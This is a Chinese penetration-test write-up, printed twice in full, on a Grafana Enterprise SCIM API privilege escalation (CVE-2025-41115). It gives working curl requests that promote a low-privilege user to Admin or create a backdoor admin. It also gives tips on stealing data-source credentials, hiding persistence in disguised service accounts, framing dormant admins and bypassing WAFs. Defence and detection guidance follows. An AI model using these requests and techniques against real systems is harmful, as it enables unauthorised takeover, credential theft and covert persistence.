1. 项目概述一次针对企业监控系统的内部渗透测试最近在复盘一次内部红队演练时遇到了一个非常典型的场景目标公司使用了Grafana企业版作为其核心的业务监控与可视化平台。这类平台通常部署在内网承载着服务器性能、应用日志、业务指标等大量敏感数据一旦失守攻击者不仅能窃取数据还可能以此为跳板横向移动至更核心的系统。我们最初的入口点只是一个低权限的普通用户账号但最终通过一个名为CVE-2025-41115的漏洞成功实现了权限提升获得了对整个Grafana实例的管理员控制权。这个漏洞的核心在于Grafana企业版中一个名为SCIM跨域身份管理系统的API接口存在逻辑缺陷允许低权限用户执行本应只有管理员才能操作的高危动作。Grafana本身是一个开源的、功能强大的数据可视化与分析平台广泛应用于IT运维、业务监控等领域。其企业版提供了更多高级功能SCIM就是其中之一它主要用于与企业级的身份提供商如Okta, Azure AD集成实现用户的自动化同步与管理。简单来说SCIM API就是Grafana用来“听命令”从外部系统创建、修改或禁用用户的接口。而CVE-2025-41115的致命之处在于它没有对这个接口的调用者身份进行严格的二次校验导致任何通过了Grafana基础认证哪怕只是一个Viewer只读角色的用户都能向这个API发送恶意请求从而将自己或其他用户的权限提升至最高级别的Grafana管理员Admin。这听起来可能有些抽象我打个比方想象一下公司的门禁系统Grafana。普通员工低权限用户刷卡可以进入办公区访问仪表盘但无法进入机房管理员后台。SCIM接口就像是后勤部门的一个远程控制台理论上只有后勤主管外部身份系统有权限通过这个控制台添加一个拥有机房钥匙的新员工。但这个漏洞相当于在办公区的公共电脑上留下了一个可以模拟后勤主管向控制台发送指令的按钮任何路过的员工按一下就能给自己生成一把机房的万能钥匙。接下来我将详细拆解这个漏洞的成因、我们的利用过程以及在实际环境中如何检测和防御。2. 漏洞原理深度解析SCIM API的信任边界崩塌要理解CVE-2025-41115我们必须先搞明白Grafana的权限体系和SCIM的工作机制。这对于后续的漏洞利用和防御都至关重要。2.1 Grafana权限模型与SCIM的角色在Grafana中用户角色主要分为几个层级Viewer查看者只能查看仪表盘和面板不能做任何修改。Editor编辑者可以查看和编辑仪表盘。Admin管理员拥有实例的最高权限包括管理用户、组织、数据源、插件等。而SCIMSystem for Cross-domain Identity Management是一个开放标准旨在简化云应用和服务中的用户身份管理。在企业版Grafana中管理员可以配置一个SCIM令牌并提供一个API端点通常是/api/scim/v2/。当外部的身份提供商如Okta需要同步一个用户到Grafana时它会使用这个令牌对请求进行认证然后向SCIM API发送一个符合SCIM标准的JSON请求Grafana就会根据请求内容创建或更新相应用户。这里的关键在于认证与授权的分离认证AuthenticationSCIM API依赖一个预共享的Bearer令牌来验证请求是否来自“被信任的”外部系统。这个令牌是在Grafana管理后台配置的任何知道该令牌的客户端都可以通过认证。授权Authorization在早期的安全设计里开发者可能认为“能通过SCIM令牌认证的就一定是有权管理用户的管理员外部系统”。因此API在处理请求时可能省略了对执行操作的具体用户在Grafana内部的上下文进行权限检查的步骤。2.2 CVE-2025-41115的核心缺陷漏洞就出现在上述的“可能省略”这一步。在受影响的Grafana企业版版本根据披露主要是特定版本范围中其SCIM API的实现存在一个逻辑缺陷当Grafana实例同时启用了基于密码或LDAP等的内部用户登录并且SCIM功能也被启用时低权限的本地用户可以通过构造特定的HTTP请求直接调用本应只接受令牌认证的SCIM API端点并且利用API逻辑绕过权限检查实现特权操作。更具体的技术点在于请求的“身份混淆”。一种典型的利用路径是攻击者以一个低权限如Viewer的本地用户身份登录Grafana获得了一个有效的会话Cookie。攻击者直接向/api/scim/v2/Users端点发送一个POST请求请求体中包含精心构造的SCIM格式数据意图创建一个新用户或将现有用户的角色属性修改为“Admin”。由于代码逻辑缺陷服务端在处理该请求时错误地将攻击者已认证的本地用户会话低权限与SCIM令牌应有的特权上下文关联起来或者完全跳过了对“当前操作者是否有权执行SCIM操作”的校验。服务器仅校验了请求格式是否符合SCIM标准并执行了更新操作导致权限提升成功。注意这里需要区分的是攻击者并非盗取了SCIM管理员令牌。而是利用了Grafana在同时处理普通Web会话请求和SCIM API请求时身份验证和授权上下文切换不清的Bug。这属于一个典型的“身份混淆”或“权限上下文绕过”漏洞。2.3 受影响的版本与环境根据漏洞披露信息CVE-2025-41115主要影响启用了企业版SCIM功能的Grafana实例。虽然具体版本号需参考官方安全公告但这类逻辑漏洞通常存在于多个连续版本中。在实战中一旦发现目标使用Grafana企业版并且其登录界面或API提示支持SCIM就需要将其列为高危可疑目标。3. 漏洞利用实践从低权限用户到系统管理员在理解了原理之后我们来看看如何在实际渗透测试中利用这个漏洞。整个过程可以清晰地分为信息收集、漏洞验证和权限提升三个步骤。3.1 前期信息收集与目标识别首先我们需要确认目标是否存在可利用的条件。识别Grafana企业版访问目标Grafana实例的登录页面。通常在页面底部或登录框附近会有版本信息。企业版可能会有“Enterprise”字样或者通过一些特定的API端点如/api/licensing/check可以获取信息。我们也可以尝试访问/api/health端点它可能会返回版本信息。# 使用curl进行基本信息收集 curl -k -s https://target-grafana.com/api/health | jq .观察返回信息中是否包含enterprise或相关标识。探测SCIM功能是否启用直接访问SCIM API端点。如果端点存在且未返回404则说明SCIM功能可能已配置。# 探测SCIM v2 API根路径 curl -k -i https://target-grafana.com/api/scim/v2/ # 如果返回401 Unauthorized或405 Method Not Allowed而非404则说明该路径存在。一个更隐蔽的方法是检查Grafana的配置文件或前端JavaScript中是否包含“scim”关键词但这通常需要更深入的访问权限。获取一个低权限账户这是利用的前提。可以通过社会工程学、弱口令爆破针对常见默认账号如admin/admin、或从其他已攻破的系统获取凭证等方式获得一个Viewer或Editor权限的账号。3.2 构造漏洞利用请求假设我们已经获得了一个低权限用户的账号密码lowpriv:password。以下是利用漏洞将自己提升为管理员的核心步骤步骤一获取有效会话首先我们需要用低权限账号登录获取一个有效的会话Cookie通常是grafana_session。# 使用curl模拟登录保存Cookie curl -k -c cookies.txt -d {user:lowpriv, password:password} \ -H Content-Type: application/json \ https://target-grafana.com/login # 注意Grafana的登录API端点可能不是简单的/login可能是/api/login。需要根据实际情况调整。 # 更通用的方法是用浏览器登录后从开发者工具中复制Cookie值。步骤二构造恶意SCIM请求这是最关键的一步。我们需要向创建用户/Users或更新用户/Users/id的SCIM端点发送一个PATCH或POST请求。请求体必须遵循SCIM 2.0的JSON格式并在其中指定高权限角色。场景A尝试提升现有用户自己的权限这需要知道自己的用户ID通常可以从/api/user端点获取。然后发送一个PATCH请求修改角色的value为Admin。# 假设自己的用户ID是 10 USER_ID10 curl -k -b cookies.txt -X PATCH \ -H Content-Type: application/scimjson \ -d { schemas: [urn:ietf:params:scim:api:messages:2.0:PatchOp], Operations: [{ op: replace, path: roles, value: [{value: Admin, primary: true}] }] } \ https://target-grafana.com/api/scim/v2/Users/$USER_ID场景B尝试创建一个新的管理员用户如果不知道ID或者想创建一个隐蔽的后门账号可以尝试POST请求。curl -k -b cookies.txt -X POST \ -H Content-Type: application/scimjson \ -d { schemas: [urn:ietf:params:scim:schemas:core:2.0:User], userName: backdoor_admin, emails: [{primary: true, value: backdoorexample.com, type: work}], displayName: Backdoor User, roles: [{value: Admin, primary: true}] } \ https://target-grafana.com/api/scim/v2/Users实操心得在实际测试中Content-Type头部非常关键。必须设置为application/scimjson或application/json否则服务器可能无法正确解析请求体。此外SCIM标准的字段名如userName,emails是大小写敏感的必须严格按照标准格式构造。3.3 验证利用结果发送请求后我们需要验证是否成功。检查HTTP响应码如果返回200 OK或201 Created并且响应体中包含了修改后的用户信息且角色显示为Admin那么成功率就很高。登录验证使用被提升权限的账号或新创建的后门账号重新登录Grafana。访问管理页面尝试访问只有管理员才能进入的页面如/admin/users、/admin/settings或/plugins。如果能够正常加载并显示所有用户列表或系统配置则证明权限提升成功。API验证调用管理员API如curl -k -b admin_cookies.txt https://target-grafana.com/api/org/users查看是否能列出所有组织用户。4. 漏洞利用的深入技巧与高级场景在基本利用成功的基础上我们可以探索一些更深入的操作这些操作在真实的红队评估中能带来更大的战术价值。4.1 利用漏洞进行横向移动与信息收集获得Grafana管理员权限远不止是控制一个面板系统那么简单。Grafana通常连接着多个数据源Data Source如Prometheus、Elasticsearch、Loki、MySQL、PostgreSQL等其中可能包含大量敏感信息。窃取数据源凭证在Grafana管理界面 (/datasources) 中管理员可以查看和编辑所有配置的数据源。虽然密码字段通常被加密或隐藏但在某些配置下或通过某些API可能能获取到连接数据库或其他系统的明文密码或令牌。这为横向移动到更核心的监控系统、日志系统或数据库打开了大门。查看仪表盘与查询许多业务指标和运维查询直接写在Grafana面板的查询语句中。这些查询可能包含数据库表名、字段名、内部系统域名、IP地址等基础设施信息是绘制内网地图的宝贵情报。利用Alert WebhookGrafana的告警规则可以配置Webhook通知。管理员可以修改这些Webhook地址将其指向攻击者控制的服务器从而在触发告警时收到HTTP回调这可能泄露系统状态甚至触发其他漏洞。4.2 权限维持与隐蔽后门为了防止权限被管理员发现并收回我们需要建立隐蔽的持久化通道。创建隐蔽服务账户不要使用明显的用户名如backdoor_admin。可以创建一个看起来像正常服务账户的用户例如monitoring_svc或grafana_sync并赋予其Admin角色。将其邮箱设置为一个不存在的或攻击者可控的邮箱。利用Service Account新版本的Grafana支持服务账户Service Accounts。我们可以创建一个具有Admin权限的服务账户并获取其长期有效的API令牌。这个令牌可以用于脚本化操作比用户密码更隐蔽、更稳定。通过管理员UI创建服务账户并分配角色。通过API创建令牌POST /api/serviceaccounts/{serviceAccountId}/tokens。修改现有高权限用户如果环境中有不常登录的管理员账号可以尝试修改其密码或API密钥如果配置允许然后使用该身份活动嫁祸于人增加排查难度。4.3 绕过可能的WAF或输入校验在实际网络中目标系统前方可能有Web应用防火墙WAF或简单的输入校验。混淆请求路径尝试URL编码、双重编码路径中的特定字符或者添加多余的斜杠 (/api//scim/v2//Users)。变换HTTP方法如果PATCH方法被拦截可以尝试使用POST或PUT方法并调整请求体结构。SCIM标准支持多种操作需要测试目标实现的具体兼容性。修改Content-Type在application/scimjson和application/json之间切换测试。分割请求在某些复杂场景下可以尝试先发送一个合法的、无害的SCIM请求探测再发送恶意请求。5. 防御措施与安全加固建议作为防御方或安全运维人员了解攻击手法后更重要的是如何防护。以下是从不同角度给出的加固建议。5.1 紧急处置与漏洞修复立即升级这是最根本的解决方案。关注Grafana官方安全公告将企业版Grafana升级到已修复该漏洞的最新版本。Grafana官方在漏洞披露后会迅速发布补丁版本。临时缓解措施如果无法立即升级可以考虑以下方案禁用SCIM功能如果不依赖SCIM进行用户同步直接在Grafana配置文件中禁用此功能。检查配置文件如grafana.ini中[auth.scim]部分确保enabled false。网络层隔离在防火墙或负载均衡器上对/api/scim/v2/路径的访问进行严格限制。只允许来自可信的、企业身份提供商IdPIP地址的流量访问该端点阻断所有其他来源的请求。启用角色权限管理检查并确保Grafana的权限设置中没有意外的宽松配置。但此漏洞是绕过校验仅靠配置可能无法完全阻止。5.2 长期安全架构优化实施最小权限原则定期审计Grafana中的所有用户账户确保没有用户拥有超出其职责所需的权限。特别是查看是否有普通用户被误分配了Admin角色。加强认证与审计启用多因素认证MFA尤其对所有管理员账户。启用Grafana的详细审计日志功能记录所有用户管理操作、数据源配置更改、仪表盘修改等关键事件。定期审查日志关注异常的管理员权限变更或SCIM API调用。将审计日志发送到中央的SIEM安全信息与事件管理系统进行关联分析。保护数据源凭证尽可能为Grafana使用的数据源创建专属的、权限最低的数据库用户或服务账号。定期轮换这些凭证。考虑使用秘密管理工具如HashiCorp Vault来动态提供数据库密码而不是在Grafana中静态配置。网络与主机层防护将Grafana部署在内网并通过反向代理如Nginx, Apache对外暴露在反向代理层实施额外的安全策略如速率限制、更严格的路径过滤。确保Grafana服务器本身的操作系统、容器镜像等及时打补丁。考虑对Grafana的访问实施零信任网络策略仅允许来自特定工作站的访问。5.3 安全监控与检测规则可以部署以下检测规则以便在遭受攻击或进行内部威胁狩猎时及时发现异常检测点1异常SCIM API调用监控对/api/scim/v2/Users的PATCH或POST请求特别是当源IP地址不属于已知的身份提供商IP段且请求用户为非管理员角色时应立即产生高危告警。检测点2用户权限异常变更监控Grafana审计日志或数据库查找在短时间内用户角色从Viewer/Editor变更为Admin的事件。检测点3来自非管理页面的管理操作分析日志检查是否有非管理员界面如普通仪表盘查看页面发起了用户管理或系统配置相关的API调用。6. 渗透测试中的思考与总结回顾整个CVE-2025-41115的利用过程它再次印证了现代应用安全中的一个经典问题在复杂的集成和功能叠加中信任边界极易变得模糊。Grafana的SCIM功能本意是为了方便管理却因为内部身份上下文切换的疏忽打开了特权升级的大门。在实战中这类漏洞的利用往往不是孤立的。它通常是我们攻击链中的一环。我们可能先通过一个暴露在公网的、存在弱口令的Grafana登录界面获得初始立足点一个低权限账号然后利用此漏洞获得管理员权限接着从数据源配置中提取数据库凭证最终渗透到核心数据区。整个链条凸显了纵深防御的重要性——任何一个环节的松懈都可能导致全线溃败。对于防御者而言这个案例的教训是深刻的不要忽视“内部”接口的安全像SCIM API这种主要供后端系统调用的接口往往被认为攻击面较小从而在权限校验上可能偷懒。必须对所有API端点无论内外实施统一的、基于角色的访问控制RBAC。默认安全配置在可能的情况下高级功能如企业版SCIM应默认关闭由管理员在明确了解风险后手动开启。持续威胁暴露面管理定期对资产进行扫描和渗透测试特别要关注那些集成了多个外部系统的平台检查其配置和版本是否存在已知漏洞。最后对于安全研究人员和渗透测试员这个漏洞的挖掘过程也提示我们在代码审计或黑盒测试时要特别关注那些处理“外部系统信任”的逻辑点。任何接受令牌、密钥进行认证并执行特权操作的接口都需要仔细审查其是否在最终执行操作前再次确认了在当前用户会话上下文下的授权。这种“双重校验”机制的缺失是许多逻辑漏洞的根源。在测试时可以尝试用低权限会话去直接访问那些看似需要特殊令牌的API端点有时会有意想不到的收获。
Grafana企业版SCIM API权限提升漏洞CVE-2025-41115分析与实战利用
发布时间：2026/7/16 9:36:25
1. 项目概述一次针对企业监控系统的内部渗透测试最近在复盘一次内部红队演练时遇到了一个非常典型的场景目标公司使用了Grafana企业版作为其核心的业务监控与可视化平台。这类平台通常部署在内网承载着服务器性能、应用日志、业务指标等大量敏感数据一旦失守攻击者不仅能窃取数据还可能以此为跳板横向移动至更核心的系统。我们最初的入口点只是一个低权限的普通用户账号但最终通过一个名为CVE-2025-41115的漏洞成功实现了权限提升获得了对整个Grafana实例的管理员控制权。这个漏洞的核心在于Grafana企业版中一个名为SCIM跨域身份管理系统的API接口存在逻辑缺陷允许低权限用户执行本应只有管理员才能操作的高危动作。Grafana本身是一个开源的、功能强大的数据可视化与分析平台广泛应用于IT运维、业务监控等领域。其企业版提供了更多高级功能SCIM就是其中之一它主要用于与企业级的身份提供商如Okta, Azure AD集成实现用户的自动化同步与管理。简单来说SCIM API就是Grafana用来“听命令”从外部系统创建、修改或禁用用户的接口。而CVE-2025-41115的致命之处在于它没有对这个接口的调用者身份进行严格的二次校验导致任何通过了Grafana基础认证哪怕只是一个Viewer只读角色的用户都能向这个API发送恶意请求从而将自己或其他用户的权限提升至最高级别的Grafana管理员Admin。这听起来可能有些抽象我打个比方想象一下公司的门禁系统Grafana。普通员工低权限用户刷卡可以进入办公区访问仪表盘但无法进入机房管理员后台。SCIM接口就像是后勤部门的一个远程控制台理论上只有后勤主管外部身份系统有权限通过这个控制台添加一个拥有机房钥匙的新员工。但这个漏洞相当于在办公区的公共电脑上留下了一个可以模拟后勤主管向控制台发送指令的按钮任何路过的员工按一下就能给自己生成一把机房的万能钥匙。接下来我将详细拆解这个漏洞的成因、我们的利用过程以及在实际环境中如何检测和防御。2. 漏洞原理深度解析SCIM API的信任边界崩塌要理解CVE-2025-41115我们必须先搞明白Grafana的权限体系和SCIM的工作机制。这对于后续的漏洞利用和防御都至关重要。2.1 Grafana权限模型与SCIM的角色在Grafana中用户角色主要分为几个层级Viewer查看者只能查看仪表盘和面板不能做任何修改。Editor编辑者可以查看和编辑仪表盘。Admin管理员拥有实例的最高权限包括管理用户、组织、数据源、插件等。而SCIMSystem for Cross-domain Identity Management是一个开放标准旨在简化云应用和服务中的用户身份管理。在企业版Grafana中管理员可以配置一个SCIM令牌并提供一个API端点通常是/api/scim/v2/。当外部的身份提供商如Okta需要同步一个用户到Grafana时它会使用这个令牌对请求进行认证然后向SCIM API发送一个符合SCIM标准的JSON请求Grafana就会根据请求内容创建或更新相应用户。这里的关键在于认证与授权的分离认证AuthenticationSCIM API依赖一个预共享的Bearer令牌来验证请求是否来自“被信任的”外部系统。这个令牌是在Grafana管理后台配置的任何知道该令牌的客户端都可以通过认证。授权Authorization在早期的安全设计里开发者可能认为“能通过SCIM令牌认证的就一定是有权管理用户的管理员外部系统”。因此API在处理请求时可能省略了对执行操作的具体用户在Grafana内部的上下文进行权限检查的步骤。2.2 CVE-2025-41115的核心缺陷漏洞就出现在上述的“可能省略”这一步。在受影响的Grafana企业版版本根据披露主要是特定版本范围中其SCIM API的实现存在一个逻辑缺陷当Grafana实例同时启用了基于密码或LDAP等的内部用户登录并且SCIM功能也被启用时低权限的本地用户可以通过构造特定的HTTP请求直接调用本应只接受令牌认证的SCIM API端点并且利用API逻辑绕过权限检查实现特权操作。更具体的技术点在于请求的“身份混淆”。一种典型的利用路径是攻击者以一个低权限如Viewer的本地用户身份登录Grafana获得了一个有效的会话Cookie。攻击者直接向/api/scim/v2/Users端点发送一个POST请求请求体中包含精心构造的SCIM格式数据意图创建一个新用户或将现有用户的角色属性修改为“Admin”。由于代码逻辑缺陷服务端在处理该请求时错误地将攻击者已认证的本地用户会话低权限与SCIM令牌应有的特权上下文关联起来或者完全跳过了对“当前操作者是否有权执行SCIM操作”的校验。服务器仅校验了请求格式是否符合SCIM标准并执行了更新操作导致权限提升成功。注意这里需要区分的是攻击者并非盗取了SCIM管理员令牌。而是利用了Grafana在同时处理普通Web会话请求和SCIM API请求时身份验证和授权上下文切换不清的Bug。这属于一个典型的“身份混淆”或“权限上下文绕过”漏洞。2.3 受影响的版本与环境根据漏洞披露信息CVE-2025-41115主要影响启用了企业版SCIM功能的Grafana实例。虽然具体版本号需参考官方安全公告但这类逻辑漏洞通常存在于多个连续版本中。在实战中一旦发现目标使用Grafana企业版并且其登录界面或API提示支持SCIM就需要将其列为高危可疑目标。3. 漏洞利用实践从低权限用户到系统管理员在理解了原理之后我们来看看如何在实际渗透测试中利用这个漏洞。整个过程可以清晰地分为信息收集、漏洞验证和权限提升三个步骤。3.1 前期信息收集与目标识别首先我们需要确认目标是否存在可利用的条件。识别Grafana企业版访问目标Grafana实例的登录页面。通常在页面底部或登录框附近会有版本信息。企业版可能会有“Enterprise”字样或者通过一些特定的API端点如/api/licensing/check可以获取信息。我们也可以尝试访问/api/health端点它可能会返回版本信息。# 使用curl进行基本信息收集 curl -k -s https://target-grafana.com/api/health | jq .观察返回信息中是否包含enterprise或相关标识。探测SCIM功能是否启用直接访问SCIM API端点。如果端点存在且未返回404则说明SCIM功能可能已配置。# 探测SCIM v2 API根路径 curl -k -i https://target-grafana.com/api/scim/v2/ # 如果返回401 Unauthorized或405 Method Not Allowed而非404则说明该路径存在。一个更隐蔽的方法是检查Grafana的配置文件或前端JavaScript中是否包含“scim”关键词但这通常需要更深入的访问权限。获取一个低权限账户这是利用的前提。可以通过社会工程学、弱口令爆破针对常见默认账号如admin/admin、或从其他已攻破的系统获取凭证等方式获得一个Viewer或Editor权限的账号。3.2 构造漏洞利用请求假设我们已经获得了一个低权限用户的账号密码lowpriv:password。以下是利用漏洞将自己提升为管理员的核心步骤步骤一获取有效会话首先我们需要用低权限账号登录获取一个有效的会话Cookie通常是grafana_session。# 使用curl模拟登录保存Cookie curl -k -c cookies.txt -d {user:lowpriv, password:password} \ -H Content-Type: application/json \ https://target-grafana.com/login # 注意Grafana的登录API端点可能不是简单的/login可能是/api/login。需要根据实际情况调整。 # 更通用的方法是用浏览器登录后从开发者工具中复制Cookie值。步骤二构造恶意SCIM请求这是最关键的一步。我们需要向创建用户/Users或更新用户/Users/id的SCIM端点发送一个PATCH或POST请求。请求体必须遵循SCIM 2.0的JSON格式并在其中指定高权限角色。场景A尝试提升现有用户自己的权限这需要知道自己的用户ID通常可以从/api/user端点获取。然后发送一个PATCH请求修改角色的value为Admin。# 假设自己的用户ID是 10 USER_ID10 curl -k -b cookies.txt -X PATCH \ -H Content-Type: application/scimjson \ -d { schemas: [urn:ietf:params:scim:api:messages:2.0:PatchOp], Operations: [{ op: replace, path: roles, value: [{value: Admin, primary: true}] }] } \ https://target-grafana.com/api/scim/v2/Users/$USER_ID场景B尝试创建一个新的管理员用户如果不知道ID或者想创建一个隐蔽的后门账号可以尝试POST请求。curl -k -b cookies.txt -X POST \ -H Content-Type: application/scimjson \ -d { schemas: [urn:ietf:params:scim:schemas:core:2.0:User], userName: backdoor_admin, emails: [{primary: true, value: backdoorexample.com, type: work}], displayName: Backdoor User, roles: [{value: Admin, primary: true}] } \ https://target-grafana.com/api/scim/v2/Users实操心得在实际测试中Content-Type头部非常关键。必须设置为application/scimjson或application/json否则服务器可能无法正确解析请求体。此外SCIM标准的字段名如userName,emails是大小写敏感的必须严格按照标准格式构造。3.3 验证利用结果发送请求后我们需要验证是否成功。检查HTTP响应码如果返回200 OK或201 Created并且响应体中包含了修改后的用户信息且角色显示为Admin那么成功率就很高。登录验证使用被提升权限的账号或新创建的后门账号重新登录Grafana。访问管理页面尝试访问只有管理员才能进入的页面如/admin/users、/admin/settings或/plugins。如果能够正常加载并显示所有用户列表或系统配置则证明权限提升成功。API验证调用管理员API如curl -k -b admin_cookies.txt https://target-grafana.com/api/org/users查看是否能列出所有组织用户。4. 漏洞利用的深入技巧与高级场景在基本利用成功的基础上我们可以探索一些更深入的操作这些操作在真实的红队评估中能带来更大的战术价值。4.1 利用漏洞进行横向移动与信息收集获得Grafana管理员权限远不止是控制一个面板系统那么简单。Grafana通常连接着多个数据源Data Source如Prometheus、Elasticsearch、Loki、MySQL、PostgreSQL等其中可能包含大量敏感信息。窃取数据源凭证在Grafana管理界面 (/datasources) 中管理员可以查看和编辑所有配置的数据源。虽然密码字段通常被加密或隐藏但在某些配置下或通过某些API可能能获取到连接数据库或其他系统的明文密码或令牌。这为横向移动到更核心的监控系统、日志系统或数据库打开了大门。查看仪表盘与查询许多业务指标和运维查询直接写在Grafana面板的查询语句中。这些查询可能包含数据库表名、字段名、内部系统域名、IP地址等基础设施信息是绘制内网地图的宝贵情报。利用Alert WebhookGrafana的告警规则可以配置Webhook通知。管理员可以修改这些Webhook地址将其指向攻击者控制的服务器从而在触发告警时收到HTTP回调这可能泄露系统状态甚至触发其他漏洞。4.2 权限维持与隐蔽后门为了防止权限被管理员发现并收回我们需要建立隐蔽的持久化通道。创建隐蔽服务账户不要使用明显的用户名如backdoor_admin。可以创建一个看起来像正常服务账户的用户例如monitoring_svc或grafana_sync并赋予其Admin角色。将其邮箱设置为一个不存在的或攻击者可控的邮箱。利用Service Account新版本的Grafana支持服务账户Service Accounts。我们可以创建一个具有Admin权限的服务账户并获取其长期有效的API令牌。这个令牌可以用于脚本化操作比用户密码更隐蔽、更稳定。通过管理员UI创建服务账户并分配角色。通过API创建令牌POST /api/serviceaccounts/{serviceAccountId}/tokens。修改现有高权限用户如果环境中有不常登录的管理员账号可以尝试修改其密码或API密钥如果配置允许然后使用该身份活动嫁祸于人增加排查难度。4.3 绕过可能的WAF或输入校验在实际网络中目标系统前方可能有Web应用防火墙WAF或简单的输入校验。混淆请求路径尝试URL编码、双重编码路径中的特定字符或者添加多余的斜杠 (/api//scim/v2//Users)。变换HTTP方法如果PATCH方法被拦截可以尝试使用POST或PUT方法并调整请求体结构。SCIM标准支持多种操作需要测试目标实现的具体兼容性。修改Content-Type在application/scimjson和application/json之间切换测试。分割请求在某些复杂场景下可以尝试先发送一个合法的、无害的SCIM请求探测再发送恶意请求。5. 防御措施与安全加固建议作为防御方或安全运维人员了解攻击手法后更重要的是如何防护。以下是从不同角度给出的加固建议。5.1 紧急处置与漏洞修复立即升级这是最根本的解决方案。关注Grafana官方安全公告将企业版Grafana升级到已修复该漏洞的最新版本。Grafana官方在漏洞披露后会迅速发布补丁版本。临时缓解措施如果无法立即升级可以考虑以下方案禁用SCIM功能如果不依赖SCIM进行用户同步直接在Grafana配置文件中禁用此功能。检查配置文件如grafana.ini中[auth.scim]部分确保enabled false。网络层隔离在防火墙或负载均衡器上对/api/scim/v2/路径的访问进行严格限制。只允许来自可信的、企业身份提供商IdPIP地址的流量访问该端点阻断所有其他来源的请求。启用角色权限管理检查并确保Grafana的权限设置中没有意外的宽松配置。但此漏洞是绕过校验仅靠配置可能无法完全阻止。5.2 长期安全架构优化实施最小权限原则定期审计Grafana中的所有用户账户确保没有用户拥有超出其职责所需的权限。特别是查看是否有普通用户被误分配了Admin角色。加强认证与审计启用多因素认证MFA尤其对所有管理员账户。启用Grafana的详细审计日志功能记录所有用户管理操作、数据源配置更改、仪表盘修改等关键事件。定期审查日志关注异常的管理员权限变更或SCIM API调用。将审计日志发送到中央的SIEM安全信息与事件管理系统进行关联分析。保护数据源凭证尽可能为Grafana使用的数据源创建专属的、权限最低的数据库用户或服务账号。定期轮换这些凭证。考虑使用秘密管理工具如HashiCorp Vault来动态提供数据库密码而不是在Grafana中静态配置。网络与主机层防护将Grafana部署在内网并通过反向代理如Nginx, Apache对外暴露在反向代理层实施额外的安全策略如速率限制、更严格的路径过滤。确保Grafana服务器本身的操作系统、容器镜像等及时打补丁。考虑对Grafana的访问实施零信任网络策略仅允许来自特定工作站的访问。5.3 安全监控与检测规则可以部署以下检测规则以便在遭受攻击或进行内部威胁狩猎时及时发现异常检测点1异常SCIM API调用监控对/api/scim/v2/Users的PATCH或POST请求特别是当源IP地址不属于已知的身份提供商IP段且请求用户为非管理员角色时应立即产生高危告警。检测点2用户权限异常变更监控Grafana审计日志或数据库查找在短时间内用户角色从Viewer/Editor变更为Admin的事件。检测点3来自非管理页面的管理操作分析日志检查是否有非管理员界面如普通仪表盘查看页面发起了用户管理或系统配置相关的API调用。6. 渗透测试中的思考与总结回顾整个CVE-2025-41115的利用过程它再次印证了现代应用安全中的一个经典问题在复杂的集成和功能叠加中信任边界极易变得模糊。Grafana的SCIM功能本意是为了方便管理却因为内部身份上下文切换的疏忽打开了特权升级的大门。在实战中这类漏洞的利用往往不是孤立的。它通常是我们攻击链中的一环。我们可能先通过一个暴露在公网的、存在弱口令的Grafana登录界面获得初始立足点一个低权限账号然后利用此漏洞获得管理员权限接着从数据源配置中提取数据库凭证最终渗透到核心数据区。整个链条凸显了纵深防御的重要性——任何一个环节的松懈都可能导致全线溃败。对于防御者而言这个案例的教训是深刻的不要忽视“内部”接口的安全像SCIM API这种主要供后端系统调用的接口往往被认为攻击面较小从而在权限校验上可能偷懒。必须对所有API端点无论内外实施统一的、基于角色的访问控制RBAC。默认安全配置在可能的情况下高级功能如企业版SCIM应默认关闭由管理员在明确了解风险后手动开启。持续威胁暴露面管理定期对资产进行扫描和渗透测试特别要关注那些集成了多个外部系统的平台检查其配置和版本是否存在已知漏洞。最后对于安全研究人员和渗透测试员这个漏洞的挖掘过程也提示我们在代码审计或黑盒测试时要特别关注那些处理“外部系统信任”的逻辑点。任何接受令牌、密钥进行认证并执行特权操作的接口都需要仔细审查其是否在最终执行操作前再次确认了在当前用户会话上下文下的授权。这种“双重校验”机制的缺失是许多逻辑漏洞的根源。在测试时可以尝试用低权限会话去直接访问那些看似需要特殊令牌的API端点有时会有意想不到的收获。
